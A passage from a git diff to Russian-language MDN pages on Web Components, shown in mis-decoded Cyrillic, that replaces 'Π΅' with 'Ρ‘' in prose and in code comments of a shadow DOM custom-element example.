Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ DOM.</li>
@@ -93,14 +93,14 @@ translation_of: Web/Web_Components
<dd>Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ интСрфСйса <code>Element</code>, связанныС с Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ DOM:
<ul>
<li>ΠœΠ΅Ρ‚ΠΎΠ΄ {{domxref("Element.attachShadow()")}} прикрСпляСт Ρ‚Π΅Π½Π΅Π²ΠΎΠ΅ Π΄Π΅Ρ€Π΅Π²ΠΎ DOM ΠΊ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ элСмСнту.</li>
- <li>Бвойство {{domxref ("Element.shadowRoot")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ ΡƒΠ·Π΅Π», ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½Π½Ρ‹ΠΉ ΠΊ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ элСмСнту, ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>null</code>, Ссли ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ ΡƒΠ·Π΅Π»Β Π½Π΅ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½.</li>
+ <li>Бвойство {{domxref ("Element.shadowRoot")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ ΡƒΠ·Π΅Π», ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½Ρ‹ΠΉ ΠΊ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ элСмСнту, ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>null</code>, Ссли ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ ΡƒΠ·Π΅Π»Β Π½Π΅ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½.</li>
</ul>
</dd>
<dt>Π‘ΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ дополнСния {{domxref("Node")}}</dt>
<dd>ДополнСния ΠΊ интСрфСйсу <code>Node</code>, относящиСся ΠΊ Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ DOM:
<ul>
<li>ΠœΠ΅Ρ‚ΠΎΠ΄ {{domxref("Node.getRootNode()")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΊΠΎΡ€Π΅Π½ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° контСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ ΡƒΠ·Π΅Π», Ссли ΠΎΠ½ доступСн.</li>
- <li>Бвойство {{domxref("Node.isConnected")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ Π»ΠΈ ΡƒΠ·Π΅Π» (прямо ΠΈΠ»ΠΈ косвСнно) ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ контСкста, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Document")}} Π² случаС ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ DOM ΠΈΠ»ΠΈ {{domxref("ShadowRoot")}} Π² случаС Ρ‚Π΅Π½Π΅Π²ΠΎΠ³ΠΎ DOM.</li>
+ <li>Бвойство {{domxref("Node.isConnected")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π»ΠΈ ΡƒΠ·Π΅Π» (прямо ΠΈΠ»ΠΈ косвСнно) ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ контСкста, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Document")}} Π² случаС ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ DOM ΠΈΠ»ΠΈ {{domxref("ShadowRoot")}} Π² случаС Ρ‚Π΅Π½Π΅Π²ΠΎΠ³ΠΎ DOM.</li>
</ul>
</dd>
<dt>Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡΒ {{domxref("Event")}}</dt>
@@ -126,7 +126,7 @@ translation_of: Web/Web_Components
<dt>{{domxref("Element")}} extensions</dt>
<dd>Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ интСрфСйса <code>Element</code>, относящиСся ΠΊ слотам:
<ul>
- <li>{{domxref("Element.slot")}}:Β Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ имя слота Ρ‚Π΅Π½Π΅Π²ΠΎΠ³ΠΎ DOM, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊ элСмСнту.</li>
+ <li>{{domxref("Element.slot")}}:Β Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ имя слота Ρ‚Π΅Π½Π΅Π²ΠΎΠ³ΠΎ DOM, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊ элСмСнту.</li>
</ul>
</dd>
<dt>ΠŸΡΠ΅Π²Π΄ΠΎΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ CSS</dt>
@@ -141,7 +141,7 @@ translation_of: Web/Web_Components
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>ΠœΡ‹ создаСм ряд ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ GitHub с <a href="https://github.com/mdn/web-components-examples">ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ²</a>. Π‘ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΎ большС.</p>
+<p>ΠœΡ‹ создаём ряд ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ GitHub с <a href="https://github.com/mdn/web-components-examples">ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ²</a>. Π‘ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΎ большС.</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
@@ -190,13 +190,13 @@ translation_of: Web/Web_Components
<li>Edge Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π°Π΄ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ.</li>
</ul>
-<p>Для получСния ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ ΠΊ пСрСчислСнным Π²Ρ‹ΡˆΠ΅ справочным страницам.</p>
+<p>Для получСния ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ ΠΊ пСрСчислСнным Π²Ρ‹ΡˆΠ΅ справочным страницам.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
<ul>
<li><a href="https://www.webcomponents.org/">webcomponents.org</a> - сайт с ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², ΡƒΡ‡Π΅Π±Π½Ρ‹ΠΌΠΈ пособиями ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ.</li>
- <li><a href="https://fast.design/" rel="noopener">FAST</a> - это Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², созданная Microsoft, которая ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ нСсколько ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² для использования Π² зависимости ΠΎΡ‚ потрСбностСй вашСго ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°. <a href="https://github.com/microsoft/fast/tree/master/packages/web-components/fast-element" rel="noopener">Fast Element</a> - это Π»Π΅Π³ΠΊΠΎΠ΅ срСдство для простого создания ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ…, эффСктивных с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния памяти ΠΈ совмСстимых со стандартами Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ². <a href="https://github.com/microsoft/fast/tree/master/packages/web-components/fast-foundation" rel="noopener">Fast Foundation</a> - это Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° классов, шаблонов ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΡƒΡ‚ΠΈΠ»ΠΈΡ‚ Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², построСнная Π½Π° основС fast-element, прСдназначСнная для создания зарСгистрированных Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ².</li>
+ <li><a href="https://fast.design/" rel="noopener">FAST</a> - это Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², созданная Microsoft, которая ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ нСсколько ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² для использования Π² зависимости ΠΎΡ‚ потрСбностСй вашСго ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°. <a href="https://github.com/microsoft/fast/tree/master/packages/web-components/fast-element" rel="noopener">Fast Element</a> - это Π»Ρ‘Π³ΠΊΠΎΠ΅ срСдство для простого создания ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ…, эффСктивных с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния памяти ΠΈ совмСстимых со стандартами Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ². <a href="https://github.com/microsoft/fast/tree/master/packages/web-components/fast-foundation" rel="noopener">Fast Foundation</a> - это Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° классов, шаблонов ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΡƒΡ‚ΠΈΠ»ΠΈΡ‚ Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², построСнная Π½Π° основС fast-element, прСдназначСнная для создания зарСгистрированных Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ².</li>
<li><a href="https://github.com/hybridsjs/hybrids">Hybrids</a> - Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ, которая ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°Π΅Ρ‚ простыС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈ чистыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>class</code> ΠΈ <code>this</code> синтаксису. Он прСдоставляСт простой ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ API для создания ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… элСмСнтов.</li>
<li><a href="https://www.polymer-project.org/">Polymer</a> - каркас Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² Google - Π½Π°Π±ΠΎΡ€ ΠΏΠΎΠ»ΠΈΡ„ΠΈΠ»ΠΎΠ², ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠΉ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ². На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ самый простой способ кроссбраузСрно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹.</li>
<li><a href="https://github.com/devpunks/snuggsi#readme">Snuggsi</a> - ΠŸΡ€ΠΎΡΡ‚Ρ‹Π΅ Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ ~ 1 ΠšΠ‘, <em>Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΠΎΠ»ΠΈΡ„ΠΈΠ»</em> - ВсС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, это Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈ Π±Π°Π·ΠΎΠ²ΠΎΠ΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ классов HTML, CSS ΠΈ JavaScript для ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹.</li>
diff --git a/files/ru/web/web_components/using_custom_elements/index.html b/files/ru/web/web_components/using_custom_elements/index.html
index 01d37d7fe9..d387daf26a 100644
--- a/files/ru/web/web_components/using_custom_elements/index.html
+++ b/files/ru/web/web_components/using_custom_elements/index.html
@@ -43,7 +43,7 @@ original_slug: Web/Web_Components/ИспользованиС_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π
}
}</pre>
-<p>Π­Ρ‚ΠΎ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½ΠΎ Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ. МоТно ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ lifecycle callbacks, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π·Π²Π°Π½Ρ‹ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρ‹ ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π° элСмСнта. НапримСр, <code>connectedCallback</code> Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт оказываСтся Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ встроСн Π²Β DOM, Π° <code>attributeChangedCallback</code> вызываСтся, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌΡƒ элСмСнту Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚, ΡƒΠ΄Π°Π»ΡΡŽΡ‚ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚Β ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚.</p>
+<p>Π­Ρ‚ΠΎ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½ΠΎ Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ. МоТно ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ lifecycle callbacks, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π·Π²Π°Π½Ρ‹ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρ‹ ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π° элСмСнта. НапримСр, <code>connectedCallback</code> Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт оказываСтся Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ встроСн Π²Β DOM, Π° <code>attributeChangedCallback</code> вызываСтся, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌΡƒ элСмСнту Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚, ΡƒΠ΄Π°Π»ΡΡŽΡ‚ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚Β ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚.</p>
<p>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎΠ± этом Π² сСкции {{anch("Using the lifecycle callbacks")}} Π½ΠΈΠΆΠ΅.</p>
@@ -56,7 +56,7 @@ original_slug: Web/Web_Components/ИспользованиС_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π
<h2 id="Π Π°Π·Π±ΠΎΡ€_простых_ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²">Π Π°Π·Π±ΠΎΡ€ простых примСров</h2>
-<p>А сСйчас Π΄Π°Π²Π°ΠΉΡ‚Π΅ Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ Π΅Ρ‰Π΅ нСсколько простых ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… подробности создания ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… элСмСнтов.</p>
+<p>А сСйчас Π΄Π°Π²Π°ΠΉΡ‚Π΅ Ρ€Π°Π·Π±Π΅Ρ€Ρ‘ΠΌ Π΅Ρ‰Ρ‘ нСсколько простых ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… подробности создания ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… элСмСнтов.</p>
<h3 id="АвтономныС_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅_элСмСнты">АвтономныС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</h3>
@@ -77,7 +77,7 @@ original_slug: Web/Web_Components/ИспользованиС_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π
<p>Π’ этом Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ ΠΊΠΎΠ΄Π° содСрТится ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ конструктора {{jsxref("Classes.constructor","constructor")}} класса, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ всСгда начинаСтся с Π²Ρ‹Π·ΠΎΠ²Π°Β <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super()</a></code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Ρ€Π°Π±ΠΎΡ‚Π°Π»Π° Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ° ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ½ΠΎΠ³ΠΎ наслСдования.</p>
-<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ конструктора ΠΌΡ‹ опрСдСляСм всю Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ элСмСнт ΠΏΡ€ΠΈ создании Π΅Π³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΌΡ‹ добавляСм shadow root ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌΡƒ элСмСнту, ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΠΌ манипуляции с DOM, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ структуру shadowΒ DOM Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта — которая Π·Π°Ρ‚Π΅ΠΌ присоСдиняСтся ΠΊ shadow rootΒ β€” ΠΈ Π½Π°ΠΊΠΎΠ½Π΅Ρ† добавляСм CSS ΠΊ shadow root, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΡΡ‚ΠΈΠ»ΡŒ.</p>
+<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ конструктора ΠΌΡ‹ опрСдСляСм всю Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ элСмСнт ΠΏΡ€ΠΈ создании Π΅Π³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΌΡ‹ добавляСм shadow root ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌΡƒ элСмСнту, ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΠΌ манипуляции с DOM, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ структуру shadowΒ DOM Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта — которая Π·Π°Ρ‚Π΅ΠΌ присоСдиняСтся ΠΊ shadow rootΒ β€” ΠΈ Π½Π°ΠΊΠΎΠ½Π΅Ρ† добавляСм CSS ΠΊ shadow root, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΡΡ‚ΠΈΠ»ΡŒ.</p>
<pre class="brush: js">// Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ shadow root
var shadow = this.attachShadow({mode: 'open'});
@@ -91,7 +91,7 @@ icon.setAttribute('tabindex', 0);
var info = document.createElement('span');
info.setAttribute('class','info');
-// Π‘Π΅Ρ€Π΅ΠΌ содСрТимоС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΈ добавляСм Π΅Π³ΠΎ Π² span
+// Π‘Π΅Ρ€Ρ‘ΠΌ содСрТимоС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΈ добавляСм Π΅Π³ΠΎ Π² span
var text = this.getAttribute('text');
info.textContent = text;
@@ -106,7 +106,7 @@ var img = document.createElement('img');
img.src = imgUrl;
icon.appendChild(img);
-// БоздаСм CSS для shadow dom
+// Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ CSS для shadow dom
var style = document.createElement('style');
style.textContent = '.wrapper {' +
@@ -119,7 +119,7 @@ shadow.appendChild(wrapper);
wrapper.appendChild(icon);
wrapper.appendChild(info);</pre>
